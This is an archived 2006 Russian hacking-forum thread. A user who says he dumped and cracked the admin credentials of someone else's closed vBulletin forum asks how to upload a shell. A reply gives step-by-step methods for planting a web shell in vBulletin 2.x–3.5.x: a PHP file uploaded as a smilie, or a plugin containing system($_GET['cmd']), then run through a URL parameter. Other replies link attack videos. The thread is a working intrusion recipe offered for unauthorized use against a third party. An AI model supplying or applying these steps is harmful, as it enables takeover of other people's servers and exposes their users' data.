ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

взлом vBulletin 3,0,1(возникли трудности)
  #1  
Старый 05.11.2006, 00:08
Аватар для Fripe
Fripe
Новичок
Регистрация: 22.06.2006
Сообщений: 9
Провел на форуме:
23134

Репутация: 0
По умолчанию взлом vBulletin 3,0,1(возникли трудности)

имеецо форум который закрыт для юзеров типо ремонт и имеецо бд от него дампанутая чере3 301апгрейд
пасс из хеша подобрать пока не удалось

что можно попробовать заюзать в данном случае?
фича с форумдисплей (глобалс) не катит
как и дыра в миск пхп

Последний раз редактировалось Fripe; 05.11.2006 в 21:31..
 
Ответить с цитированием

  #2  
Старый 05.11.2006, 21:18
Аватар для Fripe
Fripe
Новичок
Регистрация: 22.06.2006
Сообщений: 9
Провел на форуме:
23134

Репутация: 0
По умолчанию

Цитата:
Сообщение от Fripe  
имеецо форум который закрыт для юзеров типо ремонт и имеецо бд от него дампанутая чере3 301апгрейд
пасс из хеша подобрать пока не удалось

что можно попробовать заюзать в данном случае?
фича с форумдисплей (глобалс) не катит
как и дыра в миск пхп
пароль я таки умудрилсо подобрать
как залить шелл моно?
через смайлы не получилось-инвалид файл тайп
 
Ответить с цитированием

  #3  
Старый 05.11.2006, 21:24
Аватар для Ksander
Ksander
Постоянный
Регистрация: 21.06.2006
Сообщений: 931
Провел на форуме:
4836047

Репутация: 930


По умолчанию

Цитата:
Сообщение от Fripe  
как залить шелл моно?

Способ заливки шелла в vBulletin 2.*.* и 3.0.*
1. Заходим в админку.
2. Смайлы.
3. Загрузить смайл.
4. Грузим наш шелл. (папка по умолчанию /images/smilies)
5. Заходим www.xz.сom/forumpath/images/smilies/shell.php
Примечание: сработает не везде.


Способ заливки шелла в vBulletin 3.5.*.
1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда



Видео по теме:

http://video.antichat.ru/file105.html
http://video.antichat.ru/file95.html
http://video.antichat.ru/file57.html
http://video.antichat.ru/file3.html

Последний раз редактировалось Ksander; 05.11.2006 в 21:26..
 
Ответить с цитированием

  #4  
Старый 05.11.2006, 21:53
Аватар для Utochka
Utochka
Постоянный
Регистрация: 21.12.2005
Сообщений: 620
Провел на форуме:
1867718

Репутация: 268


По умолчанию

тоже видео по теме: Получение шелла через багу в Vbulletin
http://hackedpro.org/forum/showthread.php?t=271
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Взлом SP-chat west. Чаты 13 24.05.2006 13:29



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ